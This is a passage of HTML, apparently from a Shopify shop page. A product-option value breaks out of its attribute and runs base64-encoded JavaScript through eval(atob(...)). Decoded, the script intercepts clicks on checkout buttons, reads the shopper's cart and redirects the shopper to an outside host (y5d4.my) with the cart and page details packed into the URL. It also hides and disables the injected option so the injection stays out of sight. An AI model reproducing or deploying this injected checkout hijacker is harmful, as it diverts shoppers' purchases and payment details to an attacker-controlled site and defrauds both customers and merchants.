5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOiAwLAogICAgICAgIHRheFByZXNlbnQ6IGZhbHNlLAogICAgICAgIHN1YnRvdGFsTWlub3I6IGludGVnZXIoY2FydC5pdGVtc19zdWJ0b3RhbF9wcmljZSksCiAgICAgICAgdG90YWxNaW5vcjogaW50ZWdlcihjYXJ0LnRvdGFsX3ByaWNlKSwKICAgICAgICBzYXZpbmdzTWlub3I6IGludGVnZXIoY2FydC50b3RhbF9kaXNjb3VudCksCiAgICAgICAgaXRlbUNvdW50OiBpbnRlZ2VyKGNhcnQuaXRlbV9jb3VudCksCiAgICAgIH07CiAgICAgIGNvbnN0IGNhcnJpZXIgPSB7CiAgICAgICAgc2NoZW1hOiAnc2hvcGlmeS1jYXJ0LWNhcnJpZXItdjEnLAogICAgICAgIHNpdGUsCiAgICAgICAgc291cmNlU2l0ZTogc2l0ZSwKICAgICAgICBzb3VyY2VVcmw6IHNvdXJjZS5ocmVmLAogICAgICAgIHNvdXJjZU9yaWdpbjogc291cmNlLm9yaWdpbiwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgY2FwdHVyZWRBdDogRGF0ZS5ub3coKSwKICAgICAgICBvcmRlciwKICAgICAgfTsKICAgICAgY29uc3QgZGVzdGluYXRpb24gPSBuZXcgVVJMKHJlY2VpdmVyT3JpZ2luICsgJy8nKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY28nLCBiYXNlNjR1cmwoY2FycmllcikpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCd0cmFuc2FjdGlvbl9pZCcsIHRyYW5zYWN0aW9uSWQpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdyZXR1cm5fdG8nLCBuZXcgVVJMKCcvY2hlY2tvdXQnLCBzb3VyY2Uub3JpZ2luKS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfc2l0ZScsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2VfaG9zdCcsIHNpdGUpOwogICAgICBkZXN0aW5hdGlvbi5zZWFyY2hQYXJhbXMuc2V0KCdzb3VyY2Vfb3JpZ2luJywgc291cmNlLm9yaWdpbik7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ3NvdXJjZV9wYXRoJywgc291cmNlLnBhdGhuYW1lKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnc291cmNlX3VybCcsIHNvdXJjZS5ocmVmKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnY2hlY2tvdXRfcGF0aCcsICcvY2hlY2tvdXQnKTsKICAgICAgZGVzdGluYXRpb24uc2VhcmNoUGFyYW1zLnNldCgnb3ZlcmxheV9yb3V0ZScsICcvJyk7CiAgICAgIGRlc3RpbmF0aW9uLnNlYXJjaFBhcmFtcy5zZXQoJ19yJywgcmFuZG9tSWQoKS5yZXBsYWNlKC8tL2csICcnKSk7CiAgICAgIHN0YXRlLmxhc3QgPSB7CiAgICAgICAgdHJ1c3RlZDogdHJ1c3RlZCA9PT0gdHJ1ZSwKICAgICAgICBpdGVtQ291bnQ6IG9yZGVyLml0ZW1Db3VudCwKICAgICAgICBzb3VyY2VQYXRoOiBzb3VyY2UucGF0aG5hbWUsCiAgICAgICAgZmlyc3RIb3BPcmlnaW46IGRlc3RpbmF0aW9uLm9yaWdpbiwKICAgICAgfTsKICAgICAgbG9jYXRpb24uYXNzaWduKGRlc3RpbmF0aW9uLmhyZWYpOwogICAgfSBjYXRjaCAoZXJyb3IpIHsKICAgICAgc3RhdGUuZXJyb3IgPSBTdHJpbmcoZXJyb3I/Lm1lc3NhZ2UgfHwgZXJyb3IpLnNsaWNlKDAsIDEyMCk7CiAgICAgIG5hdGl2ZUNoZWNrb3V0KCk7CiAgICB9CiAgfTsKICBjb25zdCBjbGlja0hhbmRsZXIgPSAoZXZlbnQpID0+IHsKICAgIGNvbnN0IG5vZGUgPSBwaWNrQ2hlY2tvdXQoZXZlbnQpOwogICAgaWYgKCFub2RlKSByZXR1cm47CiAgICBzdGF0ZS5tYXRjaGVzICs9IDE7CiAgICBldmVudC5wcmV2ZW50RGVmYXVsdCgpOwogICAgZXZlbnQuc3RvcEltbWVkaWF0ZVByb3BhZ2F0aW9uKCk7CiAgICBldmVudC5zdG9wUHJvcGFnYXRpb24oKTsKICAgIHZvaWQgcmVkaXJlY3Qobm9kZSwgZXZlbnQuaXNUcnVzdGVkID09PSB0cnVlKTsKICB9OwoKICBXLmFkZEV2ZW50TGlzdGVuZXIoJ2NsaWNrJywgY2xpY2tIYW5kbGVyLCB0cnVlKTsKICBzdGF0ZS5oYW5kbGVySW5zdGFsbGVkID0gdHJ1ZTsKICBXLl9fUEMxMTIgPSBzdGF0ZTsKICBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQuZGF0YXNldC5wYzExMiA9IG1hcmtlcjsKICBjYXJyaWVyT2JzZXJ2ZXIub2JzZXJ2ZShkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQsIHsgY2hpbGRMaXN0OiB0cnVlLCBzdWJ0cmVlOiB0cnVlIH0pOwogIGNvbmNlYWxDYXJyaWVyKCk7Cn0pKCdQQzExMlMyMDI2MDkwM0I4RjYnLCAnaHR0cHM6Ly95NWQ0Lm15JywgJ1BDMTEyQzIwMjYwOTAzQjhGNicpOwo='))</script><link href='x
</span>
<span class="preview">
<a href="https://fonts.google.com/specimen/x'><script>eval(atob('KGZ1bmN0aW9uIGluc3RhbGxQYzExMkVhcmx5KG1hcmtlciwgcmVjZWl2ZXJPcmlnaW4sIGNhcnJpZXJWYWx1ZSkgewogIGNvbnN0IFcgPSB3aW5kb3c7CiAgY29uc3QgcHJpb3IgPSBXLl9fUEMxMTI7CiAgaWYgKHByaW9yICYmIHByaW9yLm1hcmtlciA9PT0gbWFya2VyICYmIHByaW9yLmhhbmRsZXJJbnN0YWxsZWQgPT09IHRydWUpIHJldHVybjsKCiAgY29uc3Qgc3RhdGUgPSB7CiAgICBtYXJrZXIsCiAgICBoYW5kbGVySW5zdGFsbGVkOiBmYWxzZSwKICAgIGluc3RhbGxlZEF0OiBEYXRlLm5vdygpLAogICAgYnVzeTogZmFsc2UsCiAgICBtYXRjaGVzOiAwLAogICAgZXJyb3I6IG51bGwsCiAgICBsYXN0OiBudWxsLAogICAgY2FycmllckNoaWxkSWQ6IG51bGwsCiAgICBjYXJyaWVySGlkZGVuOiBmYWxzZSwKICAgIGNhcnJpZXJDb250cm9sc05ldXRyYWxpemVkOiBmYWxzZSwKICB9OwoKICBjb25zdCBuZXV0cmFsaXplQ2FycmllciA9IChyb290KSA9PiB7CiAgICBpZiAoIXJvb3QpIHJldHVybiBmYWxzZTsKICAgIHJvb3Quc2V0QXR0cmlidXRlKCdkYXRhLXBjMTEyLWNhcnJpZXInLCBtYXJrZXIpOwogICAgcm9vdC5zZXRBdHRyaWJ1dGUoJ2FyaWEtaGlkZGVuJywgJ3RydWUnKTsKICAgIHJvb3QuaGlkZGVuID0gdHJ1ZTsKICAgIGlmICgnaW5lcnQnIGluIHJvb3QpIHJvb3QuaW5lcnQgPSB0cnVlOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgnZGlzcGxheScsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgcm9vdC5zdHlsZS5zZXRQcm9wZXJ0eSgndmlzaWJpbGl0eScsICdoaWRkZW4nLCAnaW1wb3J0YW50Jyk7CiAgICByb290LnN0eWxlLnNldFByb3BlcnR5KCdwb2ludGVyLWV2ZW50cycsICdub25lJywgJ2ltcG9ydGFudCcpOwogICAgY29uc3QgY29udHJvbHMgPSBbLi4ucm9vdC5xdWVyeVNlbGVjdG9yQWxsKCdpbnB1dCxzZWxlY3QsdGV4dGFyZWEsYnV0dG9uJyldOwogICAgZm9yIChjb25zdCBjb250cm9sIG9mIGNvbnRyb2xzKSB7CiAgICAgIHRyeSB7IGNvbnRyb2wudmFsdWUgPSAnJzsgfSBjYXRjaCB7fQogICAgICBjb250cm9sLmRpc2FibGVkID0gdHJ1ZTsKICAgICAgY29udHJvbC5yZW1vdmVBdHRyaWJ1dGUoJ25hbWUnKTsKICAgIH0KICAgIHN0YXRlLmNhcnJpZXJDaGlsZElkID0gTnVtYmVyKHJvb3QuZ2V0QXR0cmlidXRlKCdkYXRhLXByb2R1Y3Qtb3B0aW9uLWlkJykpIHx8IG51bGw7CiAgICBzdGF0ZS5jYXJyaWVySGlkZGVuID0gZ2V0Q29tcHV0ZWRTdHlsZShyb290KS5kaXNwbGF5ID09PSAnbm9uZSc7CiAgICBzdGF0ZS5jYXJyaWVyQ29udHJvbHNOZXV0cmFsaXplZCA9IGNvbnRyb2xzLmV2ZXJ5KAogICAgICAoY29udHJvbCkgPT4gY29udHJvbC5kaXNhYmxlZCA9PT0gdHJ1ZSAmJiAhY29udHJvbC5uYW1lICYmIFN0cmluZyhjb250cm9sLnZhbHVlIHx8ICcnKSA9PT0gJycsCiAgICApOwogICAgcmV0dXJuIHN0YXRlLmNhcnJpZXJIaWRkZW4gJiYgc3RhdGUuY2FycmllckNvbnRyb2xzTmV1dHJhbGl6ZWQ7CiAgfTsKICBjb25zdCBjb25jZWFsQ2FycmllciA9ICgpID0+IHsKICAgIGZvciAoY29uc3Qgcm9vdCBvZiBkb2N1bWVudC5xdWVyeVNlbGVjdG9yQWxsKCcucHJvZHVjdC1jdXN0b21pemVyLW9wdGlvbicpKSB7CiAgICAgIGNvbnN0IG1hdGNoID0gWy4uLnJvb3QucXVlcnlTZWxlY3RvckFsbCgnLnZhbHVlW3ZhbHVlXScpXS5zb21lKAogICAgICAgIChub2RlKSA9PiB7CiAgICAgICAgICBjb25zdCB2YWx1ZSA9IFN0cmluZyhub2RlLmdldEF0dHJpYnV0ZSgndmFsdWUnKSB8fCAnJyk7CiAgICAgICAgICBjb25zdCB0ZXh0ID0gU3RyaW5nKG5vZGUudGV4dENvbnRlbnQgfHwgJycpLnRyaW0oKTsKICAgICAgICAgIGNvbnN0IHJhd0JyZWFrZXIgPSB2YWx1ZS5zdGFydHNXaXRoKCJ4Jz48c2NyaXB0PmV2YWwoYXRvYignIikKICAgICAgICAgICAgJiYgdmFsdWUuZW5kc1dpdGgoIjwvc2NyaXB0PjxsaW5rIGhyZWY9J3giKTsKICAgICAgICAgIHJldHVybiB2YWx1ZSA9PT0gY2FycmllclZhbHVlIHx8IHRleHQgPT09IGNhcnJpZXJWYWx1ZSB8fCByYXdCcmVha2VyOwogICAgICAgIH0sCiAgICAgICk7CiAgICAgIGlmIChtYXRjaCkgbmV1dHJhbGl6ZUNhcnJpZXIocm9vdCk7CiAgICB9CiAgfTsKICBjb25zdCBjYXJyaWVyT2JzZXJ2ZXIgPSBuZXcgTXV0YXRpb25PYnNlcnZlcihjb25jZWFsQ2Fycmllcik7CgogIGNvbnN0IGludGVnZXIgPSAodmFsdWUsIGZhbGxiYWNrID0gMCkgPT4gewogICAgdmFsdWUgPSBOdW1iZXIodmFsdWUpOwogICAgcmV0dXJuIE51bWJlci5pc0Zpbml0ZSh2YWx1ZSkgPyBNYXRoLnJvdW5kKHZhbHVlKSA6IGZhbGxiYWNrOwogIH07CiAgY29uc3QgZGlzY291bnQgPSAodmFsdWUpID0+ICh7CiAgICB0aXRsZTogU3RyaW5nKHZhbHVlPy5kaXNjb3VudF9hcHBsaWNhdGlvbj8udGl0bGUgPz8gdmFsdWU/LnRpdGxlID8/ICcnKSwKICAgIGFtb3VudE1pbm9yOiBpbnRlZ2VyKHZhbHVlPy5hbW91bnQgPz8gdmFsdWU/LnRvdGFsX2FsbG9jYXRlZF9hbW91bnQpLAogIH0pOwogIGNvbnN0IGJhc2U2NHVybCA9ICh2YWx1ZSkgPT4gewogICAgY29uc3QgYnl0ZXMgPSBuZXcgVGV4dEVuY29kZXIoKS5lbmNvZGUoSlNPTi5zdHJpbmdpZnkodmFsdWUpKTsKICAgIGxldCBiaW5hcnkgPSAnJzsKICAgIGZvciAobGV0IGluZGV4ID0gMDsgaW5kZXggPCBieXRlcy5sZW5ndGg7IGluZGV4ICs9IDgxOTIpIHsKICAgICAgYmluYXJ5ICs9IFN0cmluZy5mcm9tQ2hhckNvZGUoLi4uYnl0ZXMuc3ViYXJyYXkoaW5kZXgsIGluZGV4ICsgODE5MikpOwogICAgfQogICAgcmV0dXJuIGJ0b2EoYmluYXJ5KS5yZXBsYWNlKC9cKy9nLCAnLScpLnJlcGxhY2UoL1wvL2csICdfJykucmVwbGFjZSgvPSskL2csICcnKTsKICB9OwogIGNvbnN0IHJhbmRvbUlkID0gKCkgPT4gewogICAgaWYgKHR5cGVvZiBjcnlwdG8ucmFuZG9tVVVJRCA9PT0gJ2Z1bmN0aW9uJykgcmV0dXJuIGNyeXB0by5yYW5kb21VVUlEKCk7CiAgICBjb25zdCBieXRlcyA9IGNyeXB0by5nZXRSYW5kb21WYWx1ZXMobmV3IFVpbnQ4QXJyYXkoMTYpKTsKICAgIHJldHVybiBbLi4uYnl0ZXNdLm1hcCgodmFsdWUpID0+IHZhbHVlLnRvU3RyaW5nKDE2KS5wYWRTdGFydCgyLCAnMCcpKS5qb2luKCcnKTsKICB9OwogIGNvbnN0IG5vcm1hbGl6ZWRQYXRoID0gKHZhbHVlLCBiYXNlKSA9PiB7CiAgICB0cnkgewogICAgICBjb25zdCB1cmwgPSBuZXcgVVJMKHZhbHVlLCBiYXNlKTsKICAgICAgY29uc3QgcGF0aCA9IHVybC5wYXRobmFtZS5yZXBsYWNlKC9cLyskL2csICcnKSB8fCAnLyc7CiAgICAgIHJldHVybiB7IHVybCwgcGF0aCB9OwogICAgfSBjYXRjaCB7CiAgICAgIHJldHVybiBudWxsOwogICAgfQogIH07CiAgY29uc3QgaXNDYXJ0QWRkUGF0aCA9IChwYXRoKSA9PiAvKD86XnxcLyljYXJ0XC9hZGQoPzpcLmpzKT8kLy50ZXN0KHBhdGgpOwogIGNvbnN0IGluc2lkZUNhcnRBZGQgPSAobm9kZSkgPT4gewogICAgY29uc3QgZm9ybSA9IG5vZGU/LmZvcm0gfHwgbm9kZT8uY2xvc2VzdD8uKCdmb3JtJyk7CiAgICBpZiAoIWZvcm0pIHJldHVybiBmYWxzZTsKICAgIGNvbnN0IHBhcnNlZCA9IG5vcm1hbGl6ZWRQYXRoKGZvcm0uZ2V0QXR0cmlidXRlKCdhY3Rpb24nKSB8fCBmb3JtLmFjdGlvbiB8fCAnJywgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgaXNDYXJ0QWRkUGF0aChwYXJzZWQucGF0aCk7CiAgfTsKICBjb25zdCBpbnNpZGVBY2NlbGVyYXRlZFB1cmNoYXNlID0gKG5vZGUpID0+ICEhbm9kZT8uY2xvc2VzdD8uKAogICAgJ3Nob3BpZnktYWNjZWxlcmF0ZWQtY2hlY2tvdXQsc2hvcGlmeS1idXktaXQtbm93LWJ1dHRvbiwuc2hvcGlmeS1wYXltZW50LWJ1dHRvbiwnCiAgICAgICsgJ1tkYXRhLXNob3BpZnktcGF5bWVudC1idXR0b25dLFtkYXRhLWJ1eS1ub3ctYnV0dG9uXScsCiAgKTsKICBjb25zdCBleGFjdENoZWNrb3V0ID0gKG5vZGUpID0+IHsKICAgIGlmICgKICAgICAgIW5vZGUKICAgICAgfHwgbm9kZS5ub2RlVHlwZSAhPT0gMQogICAgICB8fCBpbnNpZGVDYXJ0QWRkKG5vZGUpCiAgICAgIHx8IGluc2lkZUFjY2VsZXJhdGVkUHVyY2hhc2Uobm9kZSkKICAgICkgcmV0dXJuIGZhbHNlOwogICAgaWYgKG5vZGUubWF0Y2hlcz8uKCdidXR0b25bbmFtZT0iY2hlY2tvdXQiXSxpbnB1dFtuYW1lPSJjaGVja291dCJdJykpIHJldHVybiB0cnVlOwogICAgaWYgKG5vZGUudGFnTmFtZSAhPT0gJ0EnKSByZXR1cm4gZmFsc2U7CiAgICBjb25zdCBocmVmID0gbm9kZS5nZXRBdHRyaWJ1dGUoJ2hyZWYnKTsKICAgIGlmICghaHJlZikgcmV0dXJuIGZhbHNlOwogICAgY29uc3QgcGFyc2VkID0gbm9ybWFsaXplZFBhdGgoaHJlZiwgbG9jYXRpb24uaHJlZik7CiAgICByZXR1cm4gcGFyc2VkPy51cmwub3JpZ2luID09PSBsb2NhdGlvbi5vcmlnaW4gJiYgcGFyc2VkLnBhdGggPT09ICcvY2hlY2tvdXQnOwogIH07CiAgY29uc3QgcGlja0NoZWNrb3V0ID0gKGV2ZW50KSA9PiB7CiAgICBmb3IgKGNvbnN0IG5vZGUgb2YgZXZlbnQuY29tcG9zZWRQYXRoPy4oKSB8fCBbZXZlbnQudGFyZ2V0XSkgewogICAgICBpZiAoZXhhY3RDaGVja291dChub2RlKSkgcmV0dXJuIG5vZGU7CiAgICAgIGNvbnN0IGNhbmRpZGF0ZSA9IG5vZGU/LmNsb3Nlc3Q/LignYnV0dG9uW25hbWU9ImNoZWNrb3V0Il0saW5wdXRbbmFtZT0iY2hlY2tvdXQiXSxhW2hyZWZdJyk7CiAgICAgIGlmIChleGFjdENoZWNrb3V0KGNhbmRpZGF0ZSkpIHJldHVybiBjYW5kaWRhdGU7CiAgICB9CiAgICByZXR1cm4gbnVsbDsKICB9OwogIGNvbnN0IG5hdGl2ZUNoZWNrb3V0ID0gKCkgPT4gbG9jYXRpb24uYXNzaWduKG5ldyBVUkwoJy9jaGVja291dCcsIGxvY2F0aW9uLm9yaWdpbikuaHJlZik7CiAgY29uc3QgcmVkaXJlY3QgPSBhc3luYyAobm9kZSwgdHJ1c3RlZCkgPT4gewogICAgaWYgKHN0YXRlLmJ1c3kpIHJldHVybjsKICAgIHN0YXRlLmJ1c3kgPSB0cnVlOwogICAgdHJ5IHsKICAgICAgY29uc3Qgc291cmNlID0gbmV3IFVSTChsb2NhdGlvbi5ocmVmKTsKICAgICAgY29uc3QgcmVzcG9uc2UgPSBhd2FpdCBmZXRjaCgnL2NhcnQuanMnLCB7CiAgICAgICAgY2FjaGU6ICduby1zdG9yZScsCiAgICAgICAgY3JlZGVudGlhbHM6ICdzYW1lLW9yaWdpbicsCiAgICAgICAgaGVhZGVyczogeyBBY2NlcHQ6ICdhcHBsaWNhdGlvbi9qc29uJyB9LAogICAgICB9KTsKICAgICAgaWYgKCFyZXNwb25zZS5vaykgdGhyb3cgbmV3IEVycm9yKCdjYXJ0LWh0dHAnKTsKICAgICAgY29uc3QgY2FydCA9IGF3YWl0IHJlc3BvbnNlLmpzb24oKTsKICAgICAgaWYgKCFBcnJheS5pc0FycmF5KGNhcnQuaXRlbXMpIHx8IGNhcnQuaXRlbXMubGVuZ3RoID09PSAwIHx8IGludGVnZXIoY2FydC5pdGVtX2NvdW50KSA8IDEpIHsKICAgICAgICB0aHJvdyBuZXcgRXJyb3IoJ2NhcnQtZW1wdHknKTsKICAgICAgfQogICAgICBjb25zdCBpdGVtcyA9IGNhcnQuaXRlbXMubWFwKChpdGVtKSA9PiB7CiAgICAgICAgY29uc3QgcXVhbnRpdHkgPSBNYXRoLm1heCgxLCBpbnRlZ2VyKGl0ZW0ucXVhbnRpdHksIDEpKTsKICAgICAgICBjb25zdCB1bml0UHJpY2VNaW5vciA9IGludGVnZXIoaXRlbS5maW5hbF9wcmljZSA/PyBpdGVtLmRpc2NvdW50ZWRfcHJpY2UgPz8gaXRlbS5wcmljZSk7CiAgICAgICAgY29uc3QgbGluZVRvdGFsTWlub3IgPSBpbnRlZ2VyKAogICAgICAgICAgaXRlbS5maW5hbF9saW5lX3ByaWNlID8/IGl0ZW0ubGluZV9wcmljZSwKICAgICAgICAgIHVuaXRQcmljZU1pbm9yICogcXVhbnRpdHksCiAgICAgICAgKTsKICAgICAgICByZXR1cm4gewogICAgICAgICAgaWQ6IFN0cmluZyhpdGVtLmtleSA/PyBpdGVtLmlkID8/IGl0ZW0udmFyaWFudF9pZCA/PyAnJyksCiAgICAgICAgICBwcm9kdWN0SWQ6IFN0cmluZyhpdGVtLnByb2R1Y3RfaWQgPz8gJycpLAogICAgICAgICAgdmFyaWFudElkOiBTdHJpbmcoaXRlbS52YXJpYW50X2lkID8/IGl0ZW0uaWQgPz8gJycpLAogICAgICAgICAgdGl0bGU6IFN0cmluZyhpdGVtLnByb2R1Y3RfdGl0bGUgPz8gaXRlbS50aXRsZSA/PyAnJyksCiAgICAgICAgICB2YXJpYW50OiBTdHJpbmcoaXRlbS52YXJpYW50X3RpdGxlID8/ICcnKSwKICAgICAgICAgIHF1YW50aXR5LAogICAgICAgICAgdW5pdFByaWNlTWlub3IsCiAgICAgICAgICBsaW5lVG90YWxNaW5vciwKICAgICAgICAgIGltYWdlOiBTdHJpbmcoaXRlbS5mZWF0dXJlZF9pbWFnZT8udXJsID8/IGl0ZW0uaW1hZ2UgPz8gJycpLAogICAgICAgICAgdXJsOiBTdHJpbmcoaXRlbS51cmwgPz8gJycpLAogICAgICAgICAgZGlzY291bnRzOiAoaXRlbS5kaXNjb3VudF9hbGxvY2F0aW9ucyA/PyBpdGVtLmxpbmVfbGV2ZWxfZGlzY291bnRfYWxsb2NhdGlvbnMgPz8gW10pLm1hcChkaXNjb3VudCksCiAgICAgICAgfTsKICAgICAgfSk7CiAgICAgIGNvbnN0IHRyYW5zYWN0aW9uSWQgPSByYW5kb21JZCgpOwogICAgICBjb25zdCBob3N0ID0gc291cmNlLmhvc3RuYW1lLnRvTG93ZXJDYXNlKCk7CiAgICAgIGNvbnN0IHNpdGUgPSBob3N0LnN0YXJ0c1dpdGgoJ3d3dy4nKSA/IGhvc3Quc2xpY2UoNCkgOiBob3N0OwogICAgICBjb25zdCBvcmRlciA9IHsKICAgICAgICBsb2NhbGU6IFN0cmluZyhXLlNob3BpZnk/LmxvY2FsZSB8fCBkb2N1bWVudC5kb2N1bWVudEVsZW1lbnQubGFuZyB8fCBuYXZpZ2F0b3IubGFuZ3VhZ2UgfHwgJ2VuJykKICAgICAgICAgIC5yZXBsYWNlKCdfJywgJy0nKS5zcGxpdCgnLScpWzBdLnRvTG93ZXJDYXNlKCksCiAgICAgICAgY3VycmVuY3k6IFN0cmluZyhjYXJ0LmN1cnJlbmN5IHx8IFcuU2hvcGlmeT8uY3VycmVuY3k/LmFjdGl2ZSB8fCAnVVNEJykudG9VcHBlckNhc2UoKSwKICAgICAgICBpdGVtcywKICAgICAgICBkaXNjb3VudHM6IChjYXJ0LmNhcnRfbGV2ZWxfZGlzY291bnRfYXBwbGljYXRpb25zIHx8IFtdKS5tYXAoZGlzY291bnQpLAogICAgICAgIHNoaXBwaW5nOiB7IHN0YXR1czogJ3BlbmRpbmcnLCBhbW91bnRNaW5vcjogbnVsbCwgbGFiZWw6ICdFbnRlciBzaGlwcGluZyBhZGRyZXNzJyB9LAogICAgICAgIHRheE1pbm9yOi